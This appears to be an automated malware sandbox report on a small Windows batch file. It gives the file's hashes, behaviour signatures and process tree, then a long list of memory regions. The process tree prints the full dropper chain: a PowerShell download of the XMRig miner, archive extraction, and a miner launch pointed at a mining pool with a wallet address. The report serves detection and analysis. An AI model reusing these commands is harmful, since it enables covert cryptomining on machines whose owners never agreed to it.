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Analysis

  • max time kernel
    1792s
  • max time network
    1808s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 01:27

General

  • Target

    tesy - Copy (13).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:200
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4160
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2876
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4528

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ae78028242a4ba644a3fabbb3f040f03

    SHA1

    63f551d7adbf100b8114f25c9367d4f8bfb85184

    SHA256

    ec053c3fa37e02402f02e90f929818d3d6a44813741ed8c3af02287f55d578f1

    SHA512

    1c383f0a637a945e2eda6ac67b3039c75c424caca3c7c4aad00fd9f483aad87f7b4f82979e47a8acb8f0187822f182750d65e5960038f1421694691d05f9186a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qyrtdbof.lz1.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    88KB

    MD5

    f52bbe58a6fa4894c0ae1f32e3913db7

    SHA1

    05ccd7ab5b5ce67c5ab2b4e30e8d64fad1ce5b0a

    SHA256

    ea35c3979c0a95d9cd101e24d29f2b8fbb2c82586c4c58ca103171b9e79a18ca

    SHA512

    e1ce889809ca5ca1fb44b5f5a60aa5a218adb5713828ec8f727c645c35b2368ff82aaca43848504c0be7e2375c8adc208966f7bf60ae3c2279d32d15e3d5860a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1.0MB

    MD5

    92ccc483199d81c9250c6175cc96f656

    SHA1

    5004f4afe40cc04f0886d8ac3eef09950544e285

    SHA256

    01a9371d0ade3dabcf6e5edac071d26a3bd03e58a3f675a7cb67f0fca27a22bf

    SHA512

    ac08c34d61727d9c25f03c741ab24684df0770a28c0ae2b0ac7ffbd3704fa31fd297dc9839eae534659dc35ada2f5feff47e0853df30180caec0d1c1255c848a

  • memory/2876-61-0x000001D1BED80000-0x000001D1BED90000-memory.dmp

    Filesize

    64KB

  • memory/2876-37-0x000001D1BED80000-0x000001D1BED90000-memory.dmp

    Filesize

    64KB

  • memory/2876-88-0x000001D1D75C0000-0x000001D1D75CA000-memory.dmp

    Filesize

    40KB

  • memory/2876-36-0x000001D1BED80000-0x000001D1BED90000-memory.dmp

    Filesize

    64KB

  • memory/2876-75-0x000001D1D7760000-0x000001D1D7772000-memory.dmp

    Filesize

    72KB

  • memory/2876-112-0x00007FF938CD0000-0x00007FF9396BC000-memory.dmp

    Filesize

    9.9MB

  • memory/2876-35-0x00007FF938CD0000-0x00007FF9396BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4160-5-0x00007FF938CD0000-0x00007FF9396BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4160-4-0x00000184F5100000-0x00000184F5122000-memory.dmp

    Filesize

    136KB

  • memory/4160-6-0x00000184F50F0000-0x00000184F5100000-memory.dmp

    Filesize

    64KB

  • memory/4160-9-0x00000184F52F0000-0x00000184F5366000-memory.dmp

    Filesize

    472KB

  • memory/4160-24-0x00000184F50F0000-0x00000184F5100000-memory.dmp

    Filesize

    64KB

  • memory/4160-29-0x00007FF938CD0000-0x00007FF9396BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4528-139-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-150-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-117-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-118-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-119-0x000002EECD660000-0x000002EECD680000-memory.dmp

    Filesize

    128KB

  • memory/4528-120-0x000002EECD680000-0x000002EECD6A0000-memory.dmp

    Filesize

    128KB

  • memory/4528-121-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-122-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-123-0x000002EECD660000-0x000002EECD680000-memory.dmp

    Filesize

    128KB

  • memory/4528-124-0x000002EECD680000-0x000002EECD6A0000-memory.dmp

    Filesize

    128KB

  • memory/4528-125-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-126-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-127-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-128-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-129-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-130-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-131-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-132-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-133-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-134-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-135-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-136-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-137-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-138-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-115-0x000002EECD5E0000-0x000002EECD600000-memory.dmp

    Filesize

    128KB

  • memory/4528-140-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-141-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-142-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-143-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-144-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-145-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-146-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-147-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-148-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-149-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-116-0x000002EECD620000-0x000002EECD660000-memory.dmp

    Filesize

    256KB

  • memory/4528-151-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-152-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-153-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-154-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-155-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-156-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-157-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-158-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-159-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-160-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-161-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-162-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-163-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-164-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-165-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-166-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-167-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-168-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-169-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-170-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-171-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-172-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-173-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-174-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-175-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-176-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-177-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-178-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-179-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-180-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-181-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-182-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-183-0x00007FF7145A0000-0x00007FF7150A3000-memory.dmp

    Filesize

    11.0MB